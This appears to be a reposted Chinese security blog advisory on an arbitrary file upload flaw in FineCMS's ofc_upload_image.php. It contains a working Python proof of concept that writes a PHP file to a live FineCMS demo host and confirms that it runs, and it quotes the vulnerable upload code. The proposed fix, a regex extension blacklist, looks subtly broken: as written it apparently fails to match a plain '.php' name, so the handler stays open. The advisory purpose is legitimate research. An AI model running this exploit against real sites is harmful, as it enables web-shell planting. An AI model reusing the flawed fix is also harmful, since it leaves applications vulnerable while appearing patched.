zoukankan      html  css  js  c++  java
  • FIneCMS /dayrui/libraries/Chart/ofc_upload_image.php Arbitrary File Upload Vul

    catalog

    1. 漏洞描述
    2. 漏洞触发条件
    3. 漏洞影响范围
    4. 漏洞代码分析
    5. 防御方法
    6. 攻防思考

    1. 漏洞描述

    Relevant Link:

    http://www.wooyun.org/bugs/wooyun-2015-0105251


    2. 漏洞触发条件

    0x1: POC

    #!/usr/bin/env python 
    # -*- coding: utf-8 -*- 
    #__author__ = '1c3z' 
    
    import urllib2 
    import random
    
    fileName = "shell" + str(random.randrange(1000,9999)) + ".php" 
    target = "http://v1.finecms.net/dayrui/libraries/Chart/ofc_upload_image.php" 
    
    def uploadShell():
        url = target + "?name=" + fileName
        req = urllib2.Request(url, headers={"Content-Type": "application/oct"}) 
        res = urllib2.urlopen(req, data="<?print(md5(0x22))?>")
        return res.read()
    
    def poc():
        res = uploadShell()
        if res.find("tmp-upload-images") == -1:
            print "Failed !"
            return
    
        print "upload Shell success"
        url = "http://v1.finecms.net/dayrui/libraries/tmp-upload-images/" + fileName
        md5 = urllib2.urlopen(url).read()
        if md5.find("e369853df766fa44e1ed0ff613f563bd") != -1:
            print "poc: " + url 
    
    poc()


    3. 漏洞影响范围
    4. 漏洞代码分析

    /dayrui/libraries/Chart/ofc_upload_image.php

    $default_path = '../tmp-upload-images/'; 
    if (!file_exists($default_path)) mkdir($default_path, 0777, true);
    $destination = $default_path . basename( $_GET[ 'name' ] ); 
    echo 'Saving your image to: '. $destination;
    
    $jfh = fopen($destination, 'w') or die("can't open file");
    fwrite($jfh, $HTTP_RAW_POST_DATA);
    fclose($jfh);

    程序未对上传文件进行任何后缀、内容的检测和过滤


    5. 防御方法

    /dayrui/libraries/Chart/ofc_upload_image.php

    $default_path = '../tmp-upload-images/'; 
    if (!file_exists($default_path)) 
        mkdir($default_path, 0777, true);
    
    $destination = $default_path . basename( $_GET[ 'name' ] ); 
    
    /* */
    if (preg_match('#.(php|pl|cgi|asp|aspx|jsp|php5|php4|php3|shtm|shtml)[^a-zA-Z0-9]+$#i', trim($destination))) 
    {
        die("你指定的文件名被系统禁止!"); 
    }
    /* */
    
    echo 'Saving your image to: '. $destination;
    
    $jfh = fopen($destination, 'w') or die("can't open file");
    fwrite($jfh, $HTTP_RAW_POST_DATA);
    fclose($jfh);


    6. 攻防思考

    Copyright (c) 2015 LittleHann All rights reserved

  • 相关阅读:
    Android实战开发租赁管理软件(适配UI,数据的存储,多线程下载)课程分享
    随 机 数 算 法
    java 状态模式 解说演示样例代码
    数据挖掘 决策树算法 ID3 通俗演绎
    经常使用表单数据的验证方法
    编程基本功训练:流程图画法及练�
    log4net使用具体解释
    妄想性仮想人格障害 新手教程 +改动器
    使用VS插件在VS2012/2013上编辑和调试Quick-Cocos2d-x的Lua代码
    经典回忆Effective C++ 1
  • 原文地址:https://www.cnblogs.com/LittleHann/p/4729648.html
Copyright © 2011-2022 走看看